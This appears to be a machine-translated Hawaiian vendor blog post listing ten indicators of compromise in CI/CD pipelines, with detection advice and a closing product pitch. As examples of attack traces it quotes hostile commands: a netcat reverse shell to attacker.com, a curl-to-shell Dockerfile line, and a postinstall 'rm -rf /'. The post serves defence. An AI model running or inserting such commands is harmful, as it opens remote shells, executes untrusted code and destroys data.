Nā Hōʻailona Kiʻekiʻe he 10 o ka ʻAelike ma CI/CD Pipelines

Hoʻolauna: He aha nā hōʻailona o ka ʻaelike ma ka Cybersecurity?

ʻO nā hōʻailona o ka hoʻopilikia ʻana nā hōʻailona mua e hōʻike ana i kāu ʻōnaehana a i ʻole pipeline malia paha e hoʻouka ʻia. I nā huaʻōlelo maʻalahi, nā hōʻailona o ka ʻaelike he mau meheu i waiho ʻia e nā mea hoʻouka, e like me nā mea ʻē logins, nā hoʻololi faila, a i ʻole nā ​​polokalamu ʻino huna. I loko Pūnaewele palekana IOC, hana lākou e like me nā manamana lima ma kahi hanana hewa, e hāʻawi ana iā ʻoe i nā hōʻike maopopo he hewa kekahi mea. No laila, ke nīnau nā mea hoʻomohala he aha nā hōʻailona o ka hoʻoholo ʻana, ʻaʻole i kaupalena ʻia ka pane i nā kikowaena a i ʻole nā ​​​​pā ahi, ua komo pū kekahi me nā pilikia i hūnā ʻia i loko o kēia au CI/CD pipelines.

I kēia mau mea pipelines, hiki i nā mea hoʻouka ke hoʻopilikia i ke code, hoʻokomo i nā hilinaʻi ʻino, a hoʻololi paha i nā ʻanuʻu kūkulu me ka ʻike ʻole ʻia. Eia nō naʻe, ʻo ka hapa nui o nā alakaʻi e kālele wale ana i nā kikowaena a i ʻole nā ​​​​pūnaewele. ʻO ka hopena, ua lilo ke kaulahao lako polokalamu i hoʻokahi o nā pahuhopu maʻalahi loa.

ʻO ia ke kumu e ʻike ai i nā hōʻailona o ka hoʻokuʻikahi ʻana ma CI/CD pipelineHe mea nui ia. Ma luna o nā mea a pau, kōkua ia i nā hui e ālai i nā polokalamu ʻino, pale i nā mea huna, a hoʻopaʻa i kēlā me kēia ʻanuʻu o ka lawe ʻana i nā polokalamu.

Nā Hōʻailona Kiʻekiʻe he 10 o ka ʻAelike ma CI/CD Pipelines

I ka wehewehe ʻana i nā hōʻailona o ka hoʻopilikia ʻana, nānā ka hapa nui o nā papa inoa i nā kikowaena a i ʻole nā ​​​​pūnaewele. Akā naʻe i loko CI/CD pipelines, waiho nā mea hoʻouka kaua i nā manamana lima like ʻole. He mea nui ka ʻike ʻana i kēia mau hōʻailona no ka pale proactive. Aia ma lalo nā hae ʻulaʻula cybersecurity 10 a IOC e pono ai i nā mea hoʻomohala a me nā ʻenekinia palekana ke makaʻala.

1. Nā Hoʻololi Hilinaʻi Kānalua

ʻO kekahi o nā hōʻailona nui o ka hoʻokūkū ma ka pipelineHe mea hou koke a ʻano ʻē ka hilinaʻi ʻo s. Hoʻohana pinepine nā mea hoʻouka i ka hilinaʻi a nā mea hoʻomohala e waiho ai i nā luna hoʻokele pūʻolo e hoʻohui i nā pūʻolo weliweli.

Eia kekahi laʻana, ma npm a package.json hiki i ka diff ke hoʻokomo koke i:

Hiki ke nānā aku he palekana kēlā mau hoʻololi akā hiki ke hoʻokomo i ke code trojanized i loko o kēlā me kēia kūkulu.

Pākuʻi: hoʻoilina nā kūkulu i hoʻopilikia ʻia i ka polokalamu ʻino ma ke kumu.

Kuhi: hoʻokō i nā loiloi hilinaʻi, hahai i nā lockfile diffs, a scan i nā pūʻolo hou i nā manawa a pau.

2. Code i hūnā ʻia i nā kūkulu 

Hoʻohana nā mea kākau polokalamu ʻino i ka obfuscation e pale aku i nā loiloi. ʻO ka hopena, ʻo kēia hōʻailona o ka hoʻopilikia ʻana i loko CI/CD pipelinehiki iā s ke lilo i kekahi o nā mea paʻakikī loa e hopu. ʻO ka ʻoiaʻiʻo, hoʻopili pinepine nā ukana i hoʻopaʻa ʻia i loko o nā hale waihona puke open source a i ʻole nā ​​​​kiʻi ipu me ka ʻole o ka hoʻolaha.

ʻo kahi laʻana:

  • He pūʻolo PyPI e hoʻohana ana base64.b64decode("cHJpbnQoSGFja2VkKQ==").
  • He kiʻi Docker i piha i nā binaries UPX pono ʻole.
  • Ua piha ʻo JavaScript i \x41\x42 pakele e peʻe ana i nā mea ʻaihue palapala hōʻoia.

Pākuʻi: Hoʻokō mālie ke code huna i ka wā kūkulu a i ʻole ka manawa holo, ka mea e lilo ai kēia i hōʻailona koʻikoʻi i ka cybersecurity IOC.
Kuhi: E hoʻohui SAST me ka nānā ʻana i nā polokalamu ʻino e hōʻailona i ke code i hoʻopili ʻia a i hoʻopaʻa ʻia. Ma luna o nā mea a pau, e mālama i ka obfuscation ma ke ʻano he hae ʻulaʻula e pono ai ka noiʻi hou aku.

3. Nā mea huna i hōʻike ʻia ma Git: He pilikia palekana pūnaewele IOC maʻamau

CI/CD pipelinehoʻoilina pinepine i nā mea huna pololei mai nā waihona. Eia nō naʻe, i ka wā e ʻike ʻia ai nā mea huna ma Git, lilo lākou i hoʻokahi o nā pane maopopo loa i ka nīnau "he aha nā hōʻailona o ka ʻaelike ma pipelines?" Ke pae nā palapala hōʻoia i Git, hiki i nā mea hoʻouka ke hoʻohana iā lākou no ka manawa pau ʻole.

ʻo kahi laʻana:

  • A .env waihona i loaʻa AWS_SECRET_KEY=.
  • Ua hoʻokomo ʻia nā hōʻailona config.json.
  • ʻIke ʻia nā mea huna ma ka mōʻaukala Git ʻoiai ma hope o ka wehe ʻana.

Pākuʻi: Hāʻawi nā kī i hōʻike ʻia i nā mea hoʻouka i ke komo pololei i CI/CD pipelines, nā ʻōnaehana ao, a i ʻole nā ​​​​​​waihona ʻikepili. No laila, ʻo kēia kekahi o nā hōʻailona weliweli loa o ka hoʻopilikia ʻana.
Kuhi: hoʻohana pre-commit hooks a me nā hana CI no ka nānā ʻana malū, a hoʻopau koke i nā kī i hoʻokahe ʻia. Eia kekahi, e hoʻokō i ka hoʻoponopono ponoʻī e hōʻemi i nā puka makani hōʻike.

4. Hoʻopilikia ʻia Pipeline Nā Hoʻonohonoho: Nā Hōʻailona Huna o ka ʻAelike

Pipeline he mau pahuhopu waiwai nui nā hoʻonohonoho no ka mea hoʻopau pinepine kahi hoʻololi hoʻokahi i ke kaʻina hana holoʻokoʻaNo laila, ua hoʻopilikia ʻia pipeline ʻO nā faila kahi pilikia nui o ka pūnaewele IOC i ʻike pinepine ʻole ʻia e nā mea nānā kuʻuna.

ʻo kahi laʻana:

  • Ma nā Hana GitHub:

  • Ma GitLab: ua hoʻohui ʻia kahi hana ʻino i .gitlab-ci.yml ka mea e hoʻolei ana i ka ʻikepili koʻikoʻi.
  • Ma Jenkins: sh "nc -e /bin/bash attacker.com 4444".

Pākuʻi: Hoʻohuli kēia mau hoʻololi i ʻae ʻole ʻia i kāu pipeline i loko o kahi puka hope mau loa no nā mea hoʻouka, kahi mea i helu maopopo ʻia he hōʻailona o ka ʻaelike.
Kuhi: E hoʻokō i nā hoʻonohonoho i kau inoa ʻia, koi i nā ʻae PR, a nānā no nā hana i manaʻo ʻole ʻia. Eia kekahi, e hoʻonohonoho guardrails e ālai ponoʻī ana i nā kahe hana i hoʻololi ʻia.

5. Pōmaikaʻi IaC Nā Paʻamau 

Hoʻokumu pinepine nā wehewehe ʻana o ke kahua i hoʻonohonoho hewa ʻia i nā puka hope huna. ʻO ka hopena, nā paʻamau kūikawā i loko IaC he pilikia pūnaewele maʻamau a ka IOC.

ʻo kahi laʻana:

  • ʻO kahi hoʻolaha Kubernetes e hāʻawi ana i nā pods privileged: true.
  • Nā pakuhi poʻo e hōʻike ana i nā lawelawe me 0.0.0.0:22.

Pākuʻi: Loaʻa i nā mea hoʻouka ke komo ʻana i ka pae aʻa a hōʻike paha i nā lawelawe kūloko i ka lehulehu. No laila, hoʻonui nui kēia mau pilikia i ka ʻili o ka hoʻouka kaua.
Kuhi: pili IaC ke nānā ʻana e hoʻokō i ka pono liʻiliʻi loa ma mua o ka hoʻohui ʻana. Eia kekahi, e hōʻoia i ka nānā ʻia ʻana o kēlā me kēia hoʻonohonoho ʻana ma ke ʻano he ʻāpana o ka pipeline.

6. Nā ʻano kūkulu ʻokoʻa 

Hoʻololi pinepine nā mea hoʻouka pipeline ʻano e paheʻe ai i nā hana ʻino. I nā huaʻōlelo ʻē aʻe, ʻo ka hana kūkulu ʻokoʻa kekahi o nā pane maopopo loa i nā hōʻailona o ka hoʻokuʻu ʻana i loko CI/CD pipelines.

ʻo kahi laʻana:

  • Kūkulu ʻia e hana ana i nā noi pūnaewele i waho i nā kikowaena ʻē.
  • Ua hoʻomaka koke kahi papahana Node.js i ka PowerShell i ka wā npm install.
  • He hana CI e hoʻoiho ana i nā binaries nui i wehewehe ʻole ʻia i nā script kūkulu.

Pākuʻi: Hiki i nā kūkulu i hoʻopilikia ʻia ke hana ma ke ʻano he mau wahi hoʻolaha malware. Ma luna o nā mea a pau, hoʻolaha lākou i nā ukana ʻino ma kēlā me kēia hoʻolaha ʻana.
Kuhi: E nānā i nā log kūkulu no nā kaʻina hana a i ʻole nā ​​​​​​pilina i manaʻo ʻole ʻia. Eia kekahi, e hoʻonohonoho i ka ʻike ʻana i nā mea ʻē e hōʻailona i nā hana ma waho o ke ʻano maʻamau.

7. Nā Palapala Pūʻolo ʻIno e like me nā Pōʻino Cybersecurity IOC

Kākoʻo nā luna hoʻokele pūʻolo i ke ola holoʻokoʻa hooks a nā mea hoʻouka e hoʻohana ai. No laila, ʻo nā palapala ʻino ma npm, PyPI, a i ʻole Dockerfiles he mau hōʻailona ikaika o ka hoʻopilikia ʻana.

ʻo kahi laʻana:

  • npm: postinstall ke holo nei ka palapala rm -rf / a i ʻole ke kuhikuhi ʻana i kahi C2.
  • PyPI: setup.py ke hoʻokō nei i ke code Python huna ma ka hoʻonohonoho ʻana.
  • Waihona Docker: RUN curl attacker.sh | sh.

Pākuʻi: Hoʻomaka ka hoʻouka ʻana i ka wā o ke kau ʻana, ma mua o kekahi hoʻāʻo manawa holo. No laila, ʻaʻole paha e ʻike nā mea hoʻomohala a hiki i ka wā lohi.
Kuhi: E nānā i nā hōʻike pūʻolo no nā palapala hoʻonohonoho. Eia kekahi, e kaupalena i nā mea pilikia hooks in CI/CD nā hana e hōʻemi i ka pilikia.

8. Nā Hōʻailona o ka ʻAʻai ʻana i ka Hoʻopaʻa Inoa

Hoʻololi a hoʻololi paha nā mea hoʻouka i nā mea hana i loko o nā papa inoa, a ʻo kēia mau hanana he mau hiʻohiʻona puke aʻo o nā mea hōʻailona o ka hoʻopilikia ʻana i ke kaulahao lako. pipelines.

ʻo kahi laʻana:

  • Ua hōʻano hou ʻia kahi lepili kiʻi Docker me kahi papa trojanized.
  • Ua pani ʻia kahi pūʻolo kūloko me kahi mana make.
  • ka hoʻonohonoho ʻana i ka namespace npm, e like me lodash-proxy.

Pākuʻi: Hoʻopilikia ʻia kēlā me kēia kūkulu ʻana e hoʻohana ana i ka mea hana hoʻopaʻa inoa. ʻAʻole wale ia, akā laha ka hoʻopilikia ʻana i nā lawelawe ma lalo.
Kuhi: E hoʻokō i nā hōʻoia pūlima a me ka pono ma nā huki hoʻopaʻa inoa āpau. Eia kekahi, e hahai i ke kumu o nā mea hana me SBOM hōʻoia.

9. Hana Mea Hoʻohana ʻAnomali ma ke ʻano he Hōʻike IOC

ʻAneʻane waiho mau nā moʻokāki i hoʻopilikia ʻia ma hope o nā mea maʻamau ʻole. No laila, ʻo ke ʻano hana kūikawā a ka mea hoʻomohala he hōʻailona ikaika ia o ka ʻaelike.

ʻo kahi laʻana:

  • Commitua hoʻokuke ʻia ʻo s i ka hola 3 AM manawa kūloko.
  • Nā ʻāpono PR e nā moʻokāki i ka wā hoʻomaha.
  • Pipelinehoʻāla ʻia me ka alapine (pinepine) ʻē.

Pākuʻi: Hoʻohana ʻino nā mea hoʻouka i nā palapala hōʻoia i ʻaihue ʻia e hoʻokomo i nā hoʻololi ʻino. Ma hope o nā mea a pau, ʻae ʻole ʻia commitHoʻohui maʻalahi ʻia i nā kaʻina hana maʻamau.
Kuhi: kanaka hoʻoponopono SCM hana no nā ʻano ʻē, hoʻokō i ka MFA, a hoʻololi mau i nā hōʻailona. Eia kekahi, e makaʻala i nā mea kānalua commit a i ʻole nā ​​ʻano hoʻohālikelike ʻāpono.

10. Nā Nānā Pono a i ʻole nā ​​​​Pūlima i hāʻule ʻole ma ka IOC Cybersecurity

He mea maʻamau akā ua hoʻowahāwahā ʻia hōʻailona o ka ʻaelike he nānā pono ʻole a i ʻole ka nānā pūlima. Ma ka IOC cybersecurity, hōʻoia kēia mau nānā i ka ʻoiaʻiʻo o ke code a i ʻole nā ​​​​mea hana. Ke kāpae nei iā lākou e waiho ana pipelineua hōʻike ʻia.

ano he kumu hoʻohālike:

  • ʻAʻole kūlike kahi hash SHA256 i ka checksum i manaʻo ʻia.
  • ʻO kahi pūlima GPG i nalowale a hewa ʻole paha.
  • An SBOM ke hōʻike nei i nā mea hana i kau inoa ʻole ʻia.

Pākuʻi: ʻO ka hemahema o ka pono e pili pinepine i ka hoʻopunipuni ʻia, ka lāʻau make ʻana o ka papa inoa, a i ʻole ka hoʻokomo ʻia ʻana o nā polokalamu ʻino.

Kuhi: E hana aunoa i nā nānā pūlima, e hoʻokō i ka hōʻoia checksum, a e ālai i nā ʻāpana i kau inoa ʻole ʻia. Ma luna o nā mea a pau, e mālama i kēlā me kēia nānā i hāʻule ʻole e like me ka hōʻike maopopo o ka hoʻokuʻu ʻana.

CI/CD Nā Hōʻailona o ke Kuʻikahi ma ka Nānā ʻAna

Hōʻailona o ke Kuʻikahi (IOC) Ka hopena i loko CI/CD Pipelines Pehea e ʻike ai
Nā Hoʻololi Hilinaʻi Kānalua Hoʻokomo nā mea hoʻouka kaua i nā hale waihona puke ʻino i nā luna hoʻokele pūʻolo, e alakaʻi ana i nā kūkulu i hoʻopilikia ʻia. E hahai i nā ʻokoʻa o ka faila laka, e hoʻokō i nā loiloi hilinaʻi, a e nānā mau i nā hilinaʻi.
Code i hūnā ʻia i loko o nā kūkulu Hoʻokō ʻia nā ukana huna i ka wā o ke kūkulu ʻana a i ʻole ka holo ʻana me ka ʻike ʻole ʻia. hoʻohana SAST a me ka nānā ʻana i nā polokalamu ʻino e hōʻailona i ka base64, hex, a i ʻole nā ​​​​​​kikona i hoʻopaʻa ʻia.
Ua hōʻike ʻia nā mea huna ma Git ʻO nā hōʻailona i hoʻokuʻu ʻia a i ʻole nā ​​​​kī API e hāʻawi i nā mea hoʻouka i ke komo pololei i nā ʻōnaehana koʻikoʻi. E holo i nā scan huna ma Git hooks a hoʻōki koke i nā palapala hōʻoia i hoʻokuʻu ʻia.
Hoʻopilikia ʻia Pipeline Nā Configurations ʻAe nā kahe hana i hoʻololi ʻia i ka hoʻokaʻawale ʻikepili a i ʻole ka hoʻomau ʻana i loko CI/CD. E koi i nā ʻāpono PR, e hoʻokō i nā hoʻonohonoho i kau inoa ʻia, a nānā pipeline nā hoʻololi.
Hoʻohanohano IaC Nā Paʻamau ʻO nā kuleana ʻae nui ʻia a i ʻole nā ​​​​​​paukū palekana ʻole e hōʻike i nā wahi ao. E nānā i nā faila Terraform, Kubernetes, a me Helm no ka hoʻokō ʻana i nā kuleana liʻiliʻi loa.
Nā ʻano kūkulu ʻokoʻa Pipelinehoʻohana ʻia ma ke ʻano he mau wahi hoʻolaha malware a i ʻole no ka neʻe ʻana ma ka ʻaoʻao. E kālailai i nā log kūkulu no nā hoʻoiho i manaʻo ʻole ʻia, nā kaʻina hana, a i ʻole nā ​​​​​​kelepona i waho.
Nā Kākau Pūʻolo ʻIno Hoʻāla nā palapala huna ma mua/ma hope o ka hoʻouka ʻana i nā ukana ma mua o ka hoʻāʻo ʻana o ka wā holo. E ālai i nā palapala npm/PyPI pilikia a kaupalena i ka hoʻokō ʻana i loko CI/CD hana.
Ka lāʻau make o ka papa inoa Hoʻololi nā mea hana Trojanized i nā kiʻi hilinaʻi a i ʻole nā ​​​​binaries i loko o nā papa inoa. E hōʻoia i nā checksums, e hoʻokō i ka hōʻoia pūlima, a e scan mua i nā papa inoa.
Hana Mea Hoʻohana ʻAno ʻē Hoʻopuka nā moʻokāki i hoʻopilikia ʻia i ka ʻino commits a i ʻole ke kumu hoʻāla pipelines. Hoʻokō i ka MFA, nānā commits no nā ʻano ʻē, a kālailai login nā kiʻi.
Nā Nānā Pono a i ʻole nā ​​Nānā Pūlima i Hāʻule Hōʻike i ke code i hoʻololi ʻia, nā mea hilinaʻi, a i ʻole nā ​​kiʻi e komo ana i ka pipeline. E hana aunoa i nā nānā pono a ālai i nā ʻāpana i kau inoa ʻole ʻia a i ʻole kūlike ʻole.

No ke aha i hala ʻole ai ka palekana pūnaewele IOC kuʻuna CI/CD ka pilikia

Ke nānā nei ka hapa nui o nā hui i nā hōʻailona o ka hoʻopilikia ʻana ma nā kikowaena, nā kamepiula, a i ʻole nā ​​​​​​pūnaewele. Eia nō naʻe, hoʻowahāwahā kēia ʻano hana maʻamau i ka palekana pūnaewele IOC CI/CD pipelines, ʻo ia kekahi o nā ʻili hoʻouka koʻikoʻi loa i kēia manawa. ʻOiaʻiʻo, pipelinehōʻike nā s i nā hōʻailona hoʻololi kūikawā i hiki ʻole i nā mea hana kuʻuna ke ʻike.

Nā Hōʻailona o ke Kuʻikahi ma ka Palekana Kuʻuna

Ma ka pūnaewele palekana IOC maʻamau, ʻo ke kiko maʻamau:

  • ʻAnoʻole loginnā helu wahi IP a i ʻole nā ​​​​​​helu wahi e hōʻike ana i nā palapala hōʻoia i ʻaihue ʻia.
  • Nā hash faila kānalua a i ʻole nā ​​​​loli hoʻopaʻa inoa e hōʻike ana i ka polokalamu ʻino.
  • Kaʻa hele i waho i manaʻo ʻole ʻia e kuhikuhi ana i ka exfiltration ʻikepili.

He mau hōʻailona kaulana kēia i nānā ʻia hoʻi ma ka MITRE ATT&CK framework, e hoʻolālā ana i nā ʻano hana a me nā hana a ka ʻenemi maʻamau. He mau hōʻailona pono kēia. Eia nō naʻe, pili nui lākou i nā ʻōnaehana hana a i ʻole nā ​​pūnaewele ʻoihana. ʻO ka hopena, ʻaʻole lākou e ʻike i ka hoʻopunipuni maalea e hana mua ʻia ana ma ke kaulahao lako polokalamu.

No ke aha mai CI/CD Pipelines He Okoa

CI/CD pipelinehe mau wahi hana ponoʻī kahi e hana ai nā mea hoʻomohala commit code, huki i nā hilinaʻi, a hoʻokuʻu i nā kūkulu. Ua ʻike nā mea hoʻouka kaua he hoʻokahi kaʻina hana hoʻopunipuni ma aneʻi e holo ana ma kēlā me kēia hoʻolaha. No laila, he aha nā hōʻailona o ka hoʻopunipuni i loko CI/CD pipelines? He ʻokoʻa loa ko lākou ʻano:

  • Ua hoʻohui malū ʻia kahi hilinaʻi ʻino i ka package.json a i ʻole requirements.txt.
  • Ua hōʻike ʻia nā kī API a i ʻole nā ​​hōʻailona ma Git commitnā faila s a i ʻole .env.
  • Ua hoʻokomo ʻia ke code obfuscated i loko o nā pūʻolo npm a i ʻole PyPI.
  • Nā faila Terraform a i ʻole Kubernetes me nā paʻamau palekana ʻole e like me privileged: true.
  • Pipeline nā hana i hoʻoponopono ʻia e wehe i ka ʻikepili a wehe paha i nā puka hope.

ʻO kēia mau hōʻailona hoʻokuʻu ma CI/CD noho ʻike ʻole ʻia e standard nā mea hana palekana.

ʻO ka hakahaka ma ka palekana pūnaewele IOC

ʻOiai ua maopopo i nā hui he nui ka waiwai o nā hōʻailona o ka hoʻopilikia ʻana, hilinaʻi wale nō lākou i ka ʻike ʻana mai nā kikowaena a me nā log pūnaewele. No laila, hiki i nā mea hoʻouka ke hoʻomake i nā kūkulu a hoʻokomo paha i nā polokalamu ʻino me ka waiho ʻole ʻana i nā kaha maʻamau. ʻO ia ke kumu i ʻike ʻole ʻia ai nā hanana e like me ka XZ Utils backdoor a i ʻole nā ​​​​pūʻolo npm ʻino a hiki i ka hiki ʻana i ka hana.

Ua hōʻike ʻia hoʻi kēia ʻano hoʻohaunaele kaulahao lako e CISʻO ke alakaʻi palekana kaulahao lako o A, kahi e hoʻomaopopo nei e hoʻomau nei ka poʻe hoʻouka kaua i ka hoʻolālā CI/CD pipelinenā mea hoʻopaʻa inoa a me nā papa inoa.

ʻO ke alanui

He mea pono ka palekana pūnaewele kuʻuna a ka IOC akā ʻaʻole lawa. Ma luna o nā mea a pau, pono nā hui e ʻike i nā hōʻailona o ka hoʻopilikia kūikawā i CI/CD pipelines. A laila hiki iā lākou ke ʻike i ke code ʻino a i ʻole pipeline ka hana ʻino ma mua o kona laha ʻana ma nā wahi āpau.

nā mea hana-sca-tools-software-analysis-composition
E hoʻonohonoho i ka mea nui, hoʻoponopono, a hoʻopaʻa i kāu mau pilikia polokalamu
E kiʻi i kāu moʻokāki manuahi.
ʻAʻole koi ʻia kahi kāleka hōʻaiʻē.

E hoʻopaʻa i kāu Hoʻomohala Polokalamu a me ka Hoʻouna ʻana

me ka Xygeni Product Suite